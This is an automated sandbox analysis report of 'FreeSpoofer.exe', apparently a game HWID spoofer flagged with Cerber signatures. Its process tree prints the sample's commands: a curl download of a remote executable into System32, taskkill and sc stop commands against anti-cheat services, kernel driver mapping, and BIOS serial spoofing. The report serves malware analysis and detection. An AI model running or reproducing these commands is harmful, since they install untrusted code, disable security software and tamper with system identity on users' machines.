Analysis

  • max time kernel
    42s
  • max time network
    34s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-02-2025 14:37

General

  • Target

    FreeSpoofer.exe

  • Size

    3.6MB

  • MD5

    d8caeb46f4e99d53b24a27bc62e06551

  • SHA1

    6aa211685157b0a76435da5e40dd1c95c018e913

  • SHA256

    871ec8bf2237716e219a648c32f24cf8ad584a0f929076aa68dba0abe147b861

  • SHA512

    9b9797919fb26fd4a97a20c18a5292015ce3512211c5666487a09d5ab70ae6680be4d1e570bbc95bc47341675a51dad2fd9797be5d4d337421f40ab6fefad3bf

  • SSDEEP

    49152:7yWRDINFfPPHf/2sKVJOZqybgQccCRar1TVejyhTmhOoA6DCHoFIx71DuGLt:mWRQf/+ebgQccSaRuE76NKBDuG

Malware Config

Signatures

  • Cerber 41 IoCs

    Cerber is a widely used ransomware-as-a-service (RaaS), first seen in 2017.

  • Cerber family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 19 IoCs
  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 15 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 23 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FreeSpoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\FreeSpoofer.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Drops file in System32 directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:4772
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        2⤵
          PID:1960
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c cls
          2⤵
            PID:2500
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c curl --silent "https://gitea.com/Jaxploit/VuxCheats/raw/branch/main/VXMapperV2.exe" --output C:\\Windows\\System32\\VXMapperV2.exe >nul 2>&1
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4032
            • C:\Windows\system32\curl.exe
              curl --silent "https://gitea.com/Jaxploit/VuxCheats/raw/branch/main/VXMapperV2.exe" --output C:\\Windows\\System32\\VXMapperV2.exe
              3⤵
              • Downloads MZ/PE file
              • Drops file in System32 directory
              PID:4492
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c cls
            2⤵
              PID:460
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im epicgameslauncher.EXE >nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5088
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im epicgameslauncher.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:324
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im FortniteClient-Win64-Shipping_EAC.EXE >nul 2>&1
              2⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:5060
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im FortniteClient-Win64-Shipping_EAC.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3940
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im FortniteClient-Win64-Shipping.EXE >nul 2>&1
              2⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:4064
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im FortniteClient-Win64-Shipping.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2828
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im FortniteClient-Win64-Shipping_BE.EXE >nul 2>&1
              2⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:2988
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im FortniteClient-Win64-Shipping_BE.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3044
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im FortniteLauncher.EXE >nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3232
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im FortniteLauncher.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4852
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im UnrealCEFSubProcess.EXE >nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1212
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im UnrealCEFSubProcess.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2528
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im CEFProcess.EXE >nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2112
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im CEFProcess.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3956
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im EasyAntiCheat.EXE >nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4580
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im EasyAntiCheat.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2728
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im BEService.EXE >nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2776
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im BEService.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3304
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im BEServices.EXE >nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1072
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im BEServices.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1228
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im BattleEye.EXE >nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1500
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im BattleEye.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3832
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im epicgameslauncher.EXE >nul 2>&1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4028
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im epicgameslauncher.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4848
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im FortniteClient-Win64-Shipping_EAC.EXE >nul 2>&1
              2⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:1748
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im FortniteClient-Win64-Shipping_EAC.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2132
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im FortniteClient-Win64-Shipping.EXE >nul 2>&1
              2⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:2556
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im FortniteClient-Win64-Shipping.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4892
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im FortniteClient-Win64-Shipping_BE.EXE >nul 2>&1
              2⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:4724
              • C:\Windows\system32\taskkill.exe
                TASKKILL /f /im FortniteClient-Win64-Shipping_BE.EXE
                3⤵
                • Cerber
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4504
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c TASKKILL /f /im FortniteLauncher.EXE >nul 2>&1
              2⤵
                PID:3428
                • C:\Windows\system32\taskkill.exe
                  TASKKILL /f /im FortniteLauncher.EXE
                  3⤵
                  • Cerber
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2896
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c TASKKILL /f /im UnrealCEFSubProcess.EXE >nul 2>&1
                2⤵
                  PID:5000
                  • C:\Windows\system32\taskkill.exe
                    TASKKILL /f /im UnrealCEFSubProcess.EXE
                    3⤵
                    • Cerber
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1488
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c TASKKILL /f /im CEFProcess.EXE >nul 2>&1
                  2⤵
                    PID:3616
                    • C:\Windows\system32\taskkill.exe
                      TASKKILL /f /im CEFProcess.EXE
                      3⤵
                      • Cerber
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3128
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c TASKKILL /f /im EasyAntiCheat.EXE >nul 2>&1
                    2⤵
                      PID:4956
                      • C:\Windows\system32\taskkill.exe
                        TASKKILL /f /im EasyAntiCheat.EXE
                        3⤵
                        • Cerber
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3464
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c TASKKILL /f /im BEService.EXE >nul 2>&1
                      2⤵
                        PID:4208
                        • C:\Windows\system32\taskkill.exe
                          TASKKILL /f /im BEService.EXE
                          3⤵
                          • Cerber
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1288
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c TASKKILL /f /im BEServices.EXE >nul 2>&1
                        2⤵
                          PID:4312
                          • C:\Windows\system32\taskkill.exe
                            TASKKILL /f /im BEServices.EXE
                            3⤵
                            • Cerber
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4900
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c TASKKILL /f /im BattleEye.EXE >nul 2>&1
                          2⤵
                            PID:336
                            • C:\Windows\system32\taskkill.exe
                              TASKKILL /f /im BattleEye.EXE
                              3⤵
                              • Cerber
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5072
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c TASKKILL /f /im epicgameslauncher.EXE >nul 2>&1
                            2⤵
                              PID:4380
                              • C:\Windows\system32\taskkill.exe
                                TASKKILL /f /im epicgameslauncher.EXE
                                3⤵
                                • Cerber
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4376
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c sc stop BEService >nul 2>&1
                              2⤵
                                PID:2740
                                • C:\Windows\system32\sc.exe
                                  sc stop BEService
                                  3⤵
                                  • Launches sc.exe
                                  PID:2408
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c sc stop BEDaisy >nul 2>&1
                                2⤵
                                  PID:2380
                                  • C:\Windows\system32\sc.exe
                                    sc stop BEDaisy
                                    3⤵
                                    • Launches sc.exe
                                    PID:4024
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c sc stop EasyAntiCheat >nul 2>&1
                                  2⤵
                                    PID:2176
                                    • C:\Windows\system32\sc.exe
                                      sc stop EasyAntiCheat
                                      3⤵
                                      • Launches sc.exe
                                      PID:2752
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c sc stop EasyAntiCheatSys >nul 2>&1
                                    2⤵
                                      PID:3928
                                      • C:\Windows\system32\sc.exe
                                        sc stop EasyAntiCheatSys
                                        3⤵
                                        • Launches sc.exe
                                        PID:4844
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c cls
                                      2⤵
                                        PID:4800
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c C:\Windows\System32\VXMapperV2.exe C:\Windows\System32\Spoofy.sys
                                        2⤵
                                          PID:5080
                                          • C:\Windows\System32\VXMapperV2.exe
                                            C:\Windows\System32\VXMapperV2.exe C:\Windows\System32\Spoofy.sys
                                            3⤵
                                            • Sets service image path in registry
                                            • Executes dropped EXE
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious behavior: LoadsDriver
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3792
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c cls
                                          2⤵
                                            PID:2068
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c cls
                                            2⤵
                                              PID:1836
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /IVN "AMI"
                                              2⤵
                                                PID:740
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /c C:\Windows\System32\CupFixerx32.exe /IVN "AMI"
                                                  3⤵
                                                    PID:5008
                                                    • C:\Windows\System32\CupFixerx32.exe
                                                      C:\Windows\System32\CupFixerx32.exe /IVN "AMI"
                                                      4⤵
                                                      • Cerber
                                                      • Executes dropped EXE
                                                      PID:1116
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /SP "MacBook Pro 13"
                                                  2⤵
                                                    PID:5084
                                                    • C:\Windows\system32\cmd.exe
                                                      cmd /c C:\Windows\System32\CupFixerx32.exe /SP "MacBook Pro 13"
                                                      3⤵
                                                        PID:1324
                                                        • C:\Windows\System32\CupFixerx32.exe
                                                          C:\Windows\System32\CupFixerx32.exe /SP "MacBook Pro 13"
                                                          4⤵
                                                          • Cerber
                                                          • Executes dropped EXE
                                                          PID:3180
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /SV "XPS 15 9570"
                                                      2⤵
                                                        PID:4264
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /c C:\Windows\System32\CupFixerx32.exe /SV "XPS 15 9570"
                                                          3⤵
                                                            PID:1572
                                                            • C:\Windows\System32\CupFixerx32.exe
                                                              C:\Windows\System32\CupFixerx32.exe /SV "XPS 15 9570"
                                                              4⤵
                                                              • Cerber
                                                              • Executes dropped EXE
                                                              PID:2480
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /SS "6BRCQFULLFZ7QKQP"
                                                          2⤵
                                                            PID:3104
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /c C:\Windows\System32\CupFixerx32.exe /SS "6BRCQFULLFZ7QKQP"
                                                              3⤵
                                                                PID:1564
                                                                • C:\Windows\System32\CupFixerx32.exe
                                                                  C:\Windows\System32\CupFixerx32.exe /SS "6BRCQFULLFZ7QKQP"
                                                                  4⤵
                                                                  • Cerber
                                                                  • Executes dropped EXE
                                                                  PID:2500
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /SU "AUTO"
                                                              2⤵
                                                                PID:4904
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /c C:\Windows\System32\CupFixerx32.exe /SU "AUTO"
                                                                  3⤵
                                                                    PID:4348
                                                                    • C:\Windows\System32\CupFixerx32.exe
                                                                      C:\Windows\System32\CupFixerx32.exe /SU "AUTO"
                                                                      4⤵
                                                                      • Cerber
                                                                      • Executes dropped EXE
                                                                      PID:4032
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /SK "T6FTRVDXHN99XP9Z"
                                                                  2⤵
                                                                    PID:4492
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /c C:\Windows\System32\CupFixerx32.exe /SK "T6FTRVDXHN99XP9Z"
                                                                      3⤵
                                                                        PID:4560
                                                                        • C:\Windows\System32\CupFixerx32.exe
                                                                          C:\Windows\System32\CupFixerx32.exe /SK "T6FTRVDXHN99XP9Z"
                                                                          4⤵
                                                                          • Cerber
                                                                          • Executes dropped EXE
                                                                          PID:8
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /BM "AsRock"
                                                                      2⤵
                                                                        PID:868
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /c C:\Windows\System32\CupFixerx32.exe /BM "AsRock"
                                                                          3⤵
                                                                            PID:836
                                                                            • C:\Windows\System32\CupFixerx32.exe
                                                                              C:\Windows\System32\CupFixerx32.exe /BM "AsRock"
                                                                              4⤵
                                                                              • Cerber
                                                                              • Executes dropped EXE
                                                                              PID:2980
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /BP "P-8560M-C-2024"
                                                                          2⤵
                                                                            PID:4244
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /c C:\Windows\System32\CupFixerx32.exe /BP "P-8560M-C-2024"
                                                                              3⤵
                                                                                PID:2312
                                                                                • C:\Windows\System32\CupFixerx32.exe
                                                                                  C:\Windows\System32\CupFixerx32.exe /BP "P-8560M-C-2024"
                                                                                  4⤵
                                                                                  • Cerber
                                                                                  • Executes dropped EXE
                                                                                  PID:4284
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /BS "UPUGL032FHVBP1TX"
                                                                              2⤵
                                                                                PID:3044
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  cmd /c C:\Windows\System32\CupFixerx32.exe /BS "UPUGL032FHVBP1TX"
                                                                                  3⤵
                                                                                    PID:2988
                                                                                    • C:\Windows\System32\CupFixerx32.exe
                                                                                      C:\Windows\System32\CupFixerx32.exe /BS "UPUGL032FHVBP1TX"
                                                                                      4⤵
                                                                                      • Cerber
                                                                                      • Executes dropped EXE
                                                                                      PID:920
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /BT "Default String"
                                                                                  2⤵
                                                                                    PID:2396
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      cmd /c C:\Windows\System32\CupFixerx32.exe /BT "Default String"
                                                                                      3⤵
                                                                                        PID:4224
                                                                                        • C:\Windows\System32\CupFixerx32.exe
                                                                                          C:\Windows\System32\CupFixerx32.exe /BT "Default String"
                                                                                          4⤵
                                                                                          • Cerber
                                                                                          • Executes dropped EXE
                                                                                          PID:2544
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /BLC "Default String"
                                                                                      2⤵
                                                                                        PID:3244
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          cmd /c C:\Windows\System32\CupFixerx32.exe /BLC "Default String"
                                                                                          3⤵
                                                                                            PID:420
                                                                                            • C:\Windows\System32\CupFixerx32.exe
                                                                                              C:\Windows\System32\CupFixerx32.exe /BLC "Default String"
                                                                                              4⤵
                                                                                              • Cerber
                                                                                              • Executes dropped EXE
                                                                                              PID:1056
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /CM "Default String"
                                                                                          2⤵
                                                                                            PID:2604
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              cmd /c C:\Windows\System32\CupFixerx32.exe /CM "Default String"
                                                                                              3⤵
                                                                                                PID:2728
                                                                                                • C:\Windows\System32\CupFixerx32.exe
                                                                                                  C:\Windows\System32\CupFixerx32.exe /CM "Default String"
                                                                                                  4⤵
                                                                                                  • Cerber
                                                                                                  • Executes dropped EXE
                                                                                                  PID:4580
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /CV "Default String"
                                                                                              2⤵
                                                                                                PID:3436
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  cmd /c C:\Windows\System32\CupFixerx32.exe /CV "Default String"
                                                                                                  3⤵
                                                                                                    PID:2316
                                                                                                    • C:\Windows\System32\CupFixerx32.exe
                                                                                                      C:\Windows\System32\CupFixerx32.exe /CV "Default String"
                                                                                                      4⤵
                                                                                                      • Cerber
                                                                                                      • Executes dropped EXE
                                                                                                      PID:4496
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /CS "I6DMKVT7A3MFOBXT"
                                                                                                  2⤵
                                                                                                    PID:1228
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      cmd /c C:\Windows\System32\CupFixerx32.exe /CS "I6DMKVT7A3MFOBXT"
                                                                                                      3⤵
                                                                                                        PID:1072
                                                                                                        • C:\Windows\System32\CupFixerx32.exe
                                                                                                          C:\Windows\System32\CupFixerx32.exe /CS "I6DMKVT7A3MFOBXT"
                                                                                                          4⤵
                                                                                                          • Cerber
                                                                                                          • Executes dropped EXE
                                                                                                          PID:4984
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /CA "Default String"
                                                                                                      2⤵
                                                                                                        PID:2576
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          cmd /c C:\Windows\System32\CupFixerx32.exe /CA "Default String"
                                                                                                          3⤵
                                                                                                            PID:1480
                                                                                                            • C:\Windows\System32\CupFixerx32.exe
                                                                                                              C:\Windows\System32\CupFixerx32.exe /CA "Default String"
                                                                                                              4⤵
                                                                                                              • Cerber
                                                                                                              • Executes dropped EXE
                                                                                                              PID:4848
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /CSK "CGUCS-51079"
                                                                                                          2⤵
                                                                                                            PID:4700
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              cmd /c C:\Windows\System32\CupFixerx32.exe /CSK "CGUCS-51079"
                                                                                                              3⤵
                                                                                                                PID:2188
                                                                                                                • C:\Windows\System32\CupFixerx32.exe
                                                                                                                  C:\Windows\System32\CupFixerx32.exe /CSK "CGUCS-51079"
                                                                                                                  4⤵
                                                                                                                  • Cerber
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:3188
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /PSN "AIA7N2Q3K6DQ4RSN"
                                                                                                              2⤵
                                                                                                                PID:1560
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  cmd /c C:\Windows\System32\CupFixerx32.exe /PSN "AIA7N2Q3K6DQ4RSN"
                                                                                                                  3⤵
                                                                                                                    PID:4892
                                                                                                                    • C:\Windows\System32\CupFixerx32.exe
                                                                                                                      C:\Windows\System32\CupFixerx32.exe /PSN "AIA7N2Q3K6DQ4RSN"
                                                                                                                      4⤵
                                                                                                                      • Cerber
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:2556
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c cmd /c C:\Windows\System32\CupFixerx32.exe /PAT "DPPHK3ZPU8CJ6HXQ"
                                                                                                                  2⤵
                                                                                                                    PID:3460
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      cmd /c C:\Windows\System32\CupFixerx32.exe /PAT "DPPHK3ZPU8CJ6HXQ"
                                                                                                                      3⤵
                                                                                                                        PID:3368
                                                                                                                        • C:\Windows\System32\CupFixerx32.exe
                                                                                                                          C:\Windows\System32\CupFixerx32.exe /PAT "DPPHK3ZPU8CJ6HXQ"
                                                                                                                          4⤵
                                                                                                                          • Cerber
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:3908
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c cls
                                                                                                                      2⤵
                                                                                                                        PID:2896
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c net stop winmgmt /y
                                                                                                                        2⤵
                                                                                                                          PID:3428
                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                            net stop winmgmt /y
                                                                                                                            3⤵
                                                                                                                              PID:3280
                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                C:\Windows\system32\net1 stop winmgmt /y
                                                                                                                                4⤵
                                                                                                                                  PID:3264
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c net start winmgmt /y
                                                                                                                              2⤵
                                                                                                                                PID:3724
                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                  net start winmgmt /y
                                                                                                                                  3⤵
                                                                                                                                    PID:4008
                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                      C:\Windows\system32\net1 start winmgmt /y
                                                                                                                                      4⤵
                                                                                                                                        PID:2244
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c sc stop winmgmt
                                                                                                                                    2⤵
                                                                                                                                      PID:4372
                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                        sc stop winmgmt
                                                                                                                                        3⤵
                                                                                                                                        • Launches sc.exe
                                                                                                                                        PID:4356
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c sc start winmgmt
                                                                                                                                      2⤵
                                                                                                                                        PID:4552
                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                          sc start winmgmt
                                                                                                                                          3⤵
                                                                                                                                          • Launches sc.exe
                                                                                                                                          PID:3984
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c ipconfig /flushdns
                                                                                                                                        2⤵
                                                                                                                                          PID:1284
                                                                                                                                          • C:\Windows\system32\ipconfig.exe
                                                                                                                                            ipconfig /flushdns
                                                                                                                                            3⤵
                                                                                                                                            • Gathers network information
                                                                                                                                            PID:3844
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c cls
                                                                                                                                          2⤵
                                                                                                                                            PID:4024
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic diskdrive get serialnumber
                                                                                                                                            2⤵
                                                                                                                                              PID:2380
                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                wmic diskdrive get serialnumber
                                                                                                                                                3⤵
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:840
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                                                                            1⤵
                                                                                                                                              PID:2540
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                                                                              1⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
